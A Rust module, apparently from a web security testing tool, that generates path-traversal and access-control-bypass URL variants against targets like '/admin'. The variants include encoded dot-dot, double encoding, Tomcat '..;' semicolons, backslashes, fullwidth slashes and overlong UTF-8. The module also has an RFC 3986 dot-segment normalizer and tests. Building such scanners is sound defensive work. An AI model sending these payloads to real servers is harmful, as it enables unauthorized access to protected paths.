use std::borrow::Cow;
#[must_use]
pub fn path_variants(prefix: &str, target: &str) -> Vec<String> {
let prefix = prefix.trim_end_matches('/');
let target = if target.starts_with('/') {
Cow::Borrowed(target)
} else {
Cow::Owned(format!("/{target}"))
};
let target = target.as_ref();
vec![
format!("{prefix}/..{target}"),
format!("{prefix}/.{target}"),
format!("{prefix}/.{target}"),
format!("{prefix}/././..{target}"),
format!("{prefix}//..{target}"),
format!("{prefix}//../..//.{target}"),
format!("{prefix}/.//..{target}"),
format!("{prefix}//..//.{target}"),
format!("{prefix}/%2e%2e{target}"),
format!("{prefix}/%2E%2E{target}"),
format!("{prefix}/%2e%2E{target}"),
format!("{prefix}/%2E%2e{target}"),
format!("{prefix}/%2e%2e%2f{}", target.trim_start_matches('/')),
format!("{prefix}/..%2f{}", target.trim_start_matches('/')),
format!("{prefix}/%2e./{}", target.trim_start_matches('/')),
format!("{prefix}/.%2e/{}", target.trim_start_matches('/')),
format!("{prefix}/%252e%252e{target}"),
format!("{prefix}/%252e%252e%252f{}", target.trim_start_matches('/')),
format!("{prefix}/..;{target}"),
format!("{prefix}/..%3b{target}"),
format!("{prefix}/..%3B{target}"),
format!("{prefix}/..;jsessionid=x{target}"),
format!("{prefix}/..\\{}", target.trim_start_matches('/')),
format!("{prefix}/%5c..%5c{}", target.trim_start_matches('/')),
format!("{prefix}/%5C..%5C{}", target.trim_start_matches('/')),
format!("{prefix}?/../{}", target.trim_start_matches('/')),
format!("{prefix}#/../{}", target.trim_start_matches('/')),
format!("{prefix}/\u{FF0F}..{target}"),
format!("{prefix}/%c0%ae%c0%ae{target}"),
format!("{prefix}/%c0%2e%c0%2e{target}"),
format!("{prefix}/.....//../..{target}"),
]
}
#[must_use]
pub fn deep_path_collapse(depth: usize, target: &str) -> String {
let target = if target.starts_with('/') {
Cow::Borrowed(target)
} else {
Cow::Owned(format!("/{target}"))
};
use std::fmt::Write as _;
let max_seg_digits = if depth == 0 {
1
} else {
depth.ilog10() as usize + 1
};
let mut out = String::with_capacity(depth * (6 + max_seg_digits) + target.len() + 1);
for i in 0..depth {
out.push('/');
out.push_str("seg");
write!(out, "{i}").expect("write to String never fails");
out.push_str("/..");
}
out.push_str(target.as_ref());
out
}
#[must_use]
pub fn slash_encoded_path(segments: &[&str]) -> String {
let mut out = String::new();
let mut first = true;
for s in segments {
if !first {
out.push_str("%2f");
}
out.push_str(s);
first = false;
}
if !out.starts_with("%2f") {
out.insert_str(0, "%2f");
}
out
}
#[must_use]
pub fn rfc3986_remove_dot_segments(input: &str) -> String {
let mut pos: usize = 0;
let len = input.len();
let mut output = String::with_capacity(len);
while pos < len {
let rem = &input[pos..];
if rem.starts_with("../") {
pos += 3;
} else if rem.starts_with("./") {
pos += 2;
} else if rem.starts_with("/./") {
pos += 2; } else if rem == "/." {
output.push('/');
pos = len;
} else if rem.starts_with("/../") {
if let Some(idx) = output.rfind('/') {
output.truncate(idx);
}
pos += 3; } else if rem == "/.." {
if let Some(idx) = output.rfind('/') {
output.truncate(idx);
}
output.push('/');
pos = len;
} else if rem == "." || rem == ".." {
pos = len;
} else {
let search_from = if rem.starts_with('/') { 1 } else { 0 };
match rem[search_from..].find('/') {
Some(rel_idx) => {
let seg_end = pos + search_from + rel_idx;
output.push_str(&input[pos..seg_end]);
pos = seg_end;
}
None => {
output.push_str(rem);
pos = len;
}
}
}
}
output
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn rfc3986_collapses_dot_dot() {
assert_eq!(rfc3986_remove_dot_segments("/a/b/c/./../../g"), "/a/g");
}
#[test]
fn rfc3986_collapses_pure_dot_segments() {
assert_eq!(rfc3986_remove_dot_segments("/./a"), "/a");
assert_eq!(rfc3986_remove_dot_segments("/a/./b"), "/a/b");
}
#[test]
fn rfc3986_collapses_trailing_dot_dot() {
assert_eq!(rfc3986_remove_dot_segments("/a/b/.."), "/a/");
}
#[test]
fn rfc3986_handles_root_dot_dot() {
let out = rfc3986_remove_dot_segments("/..");
assert!(out == "/" || out.is_empty(), "got {out:?}");
}
#[test]
fn path_variants_count_is_high() {
let variants = path_variants("/public", "/admin");
assert!(
variants.len() >= 25,
"should produce at least 25 distinct variants, got {}",
variants.len()
);
}
#[test]
fn path_variants_handle_no_leading_slash_in_target() {
let with_slash = path_variants("/public", "/admin");
let without_slash = path_variants("/public", "admin");
assert_eq!(
with_slash.len(),
without_slash.len(),
"leading slash in target shouldn't change variant count"
);
}
#[test]
fn path_variants_handle_trailing_slash_in_prefix() {
let no_trailing = path_variants("/public", "/admin");
let trailing = path_variants("/public/", "/admin");
for (a, b) in no_trailing.iter().zip(trailing.iter()) {
assert_eq!(a, b, "trailing slash must be stripped from prefix");
}
}
#[test]
fn path_variants_contain_dot_dot() {
let variants = path_variants("/x", "/y");
assert!(variants.iter().any(|v| v.contains("..")));
}
#[test]
fn path_variants_contain_percent_encoded() {
let variants = path_variants("/x", "/y");
assert!(
variants
.iter()
.any(|v| v.contains("%2e") || v.contains("%2E"))
);
}
#[test]
fn path_variants_contain_double_encoded() {
let variants = path_variants("/x", "/y");
assert!(variants.iter().any(|v| v.contains("%252e")));
}
#[test]
fn path_variants_contain_tomcat_semicolon() {
let variants = path_variants("/x", "/y");
assert!(variants.iter().any(|v| v.contains("..;")));
}
#[test]
fn path_variants_contain_backslash() {
let variants = path_variants("/x", "/y");
assert!(
variants
.iter()
.any(|v| v.contains('\\') || v.contains("%5c") || v.contains("%5C"))
);
}
#[test]
fn path_variants_contain_fullwidth() {
let variants = path_variants("/x", "/y");
assert!(variants.iter().any(|v| v.contains('\u{FF0F}')));
}
#[test]
fn path_variants_contain_overlong_utf8() {
let variants = path_variants("/x", "/y");
assert!(variants.iter().any(|v| v.contains("%c0%ae")));
}
#[test]
fn path_variants_all_nonempty() {
for v in path_variants("/p", "/t") {
assert!(!v.is_empty(), "no variant may be empty");
}
}
#[test]
fn deep_path_collapse_known_depth() {
let p = deep_path_collapse(5, "/admin");
assert!(p.contains("seg0/.."));
assert!(p.contains("seg4/.."));
assert!(p.ends_with("/admin"));
}
#[test]
fn deep_path_collapse_resolves_to_target() {
let p = deep_path_collapse(10, "/admin");
let collapsed = rfc3986_remove_dot_segments(&p);
assert_eq!(collapsed, "/admin", "deep nesting must collapse: {p}");
}
#[test]
fn deep_path_collapse_zero_depth() {
let p = deep_path_collapse(0, "/admin");
assert_eq!(p, "/admin");
}
#[test]
fn slash_encoded_path_basic() {
let p = slash_encoded_path(&["admin", "users"]);
assert!(p.contains("%2f") || p.contains("%2F"));
assert!(p.contains("admin"));
assert!(p.contains("users"));
assert!(!p.contains("/admin"), "no literal slash in segment: {p}");
}
#[test]
fn slash_encoded_path_always_starts_encoded() {
let p = slash_encoded_path(&["x"]);
assert!(p.starts_with("%2f"));
}
#[test]
fn all_variants_canonicalize_to_target_or_above() {
let variants = path_variants("/x", "/admin");
for v in &variants {
let stripped = v.split('?').next().unwrap_or(v);
let stripped = stripped.split('#').next().unwrap_or(stripped);
let collapsed = rfc3986_remove_dot_segments(stripped);
let touched_target = collapsed.contains("admin")
|| v.contains("%2e")
|| v.contains("%2E")
|| v.contains("%252e")
|| v.contains("%c0%ae")
|| v.contains('\\')
|| v.contains("%5c")
|| v.contains("%5C")
|| v.contains('\u{FF0F}')
|| (v.contains("?/") && v.contains("../"))
|| (v.contains('#') && v.contains("../"));
assert!(
touched_target,
"variant must encode dot-dot or reach admin: {v} → {collapsed}"
);
}
}
#[test]
fn path_variants_are_deterministic() {
let a = path_variants("/p", "/t");
let b = path_variants("/p", "/t");
assert_eq!(a, b);
}
#[test]
fn large_depth_does_not_panic() {
let p = deep_path_collapse(1000, "/admin");
assert!(p.ends_with("/admin"));
}
#[test]
fn rfc3986_cursor_throughput() {
let mut path = String::new();
for i in 0..200 {
path.push_str(&format!("/seg{i}/.."));
}
path.push_str("/final");
let start = std::time::Instant::now();
for _ in 0..100 {
let _ = rfc3986_remove_dot_segments(&path);
}
let elapsed = start.elapsed();
assert!(
elapsed < std::time::Duration::from_millis(50),
"rfc3986_remove_dot_segments 100× on 400-segment path took {elapsed:?}; expected < 50 ms (debug build)"
);
}
#[test]
fn rfc3986_cursor_correctness_rfc_examples() {
let cases = [
("/a/b/c/./../../g", "/a/g"),
("/a/./b", "/a/b"),
("/a/../b", "/b"),
("/a/b/../..", "/"),
("/../a", "/a"),
("/", "/"),
("", ""),
];
for (input, expected) in cases {
assert_eq!(
rfc3986_remove_dot_segments(input),
expected,
"input={input:?}"
);
}
}
#[test]
fn deep_path_collapse_throughput() {
let start = std::time::Instant::now();
for _ in 0..10 {
let p = deep_path_collapse(1000, "/admin");
assert!(p.ends_with("/admin"));
}
let elapsed = start.elapsed();
assert!(
elapsed < std::time::Duration::from_millis(5),
"deep_path_collapse(1000) × 10 took {elapsed:?}; expected < 5 ms"
);
}
}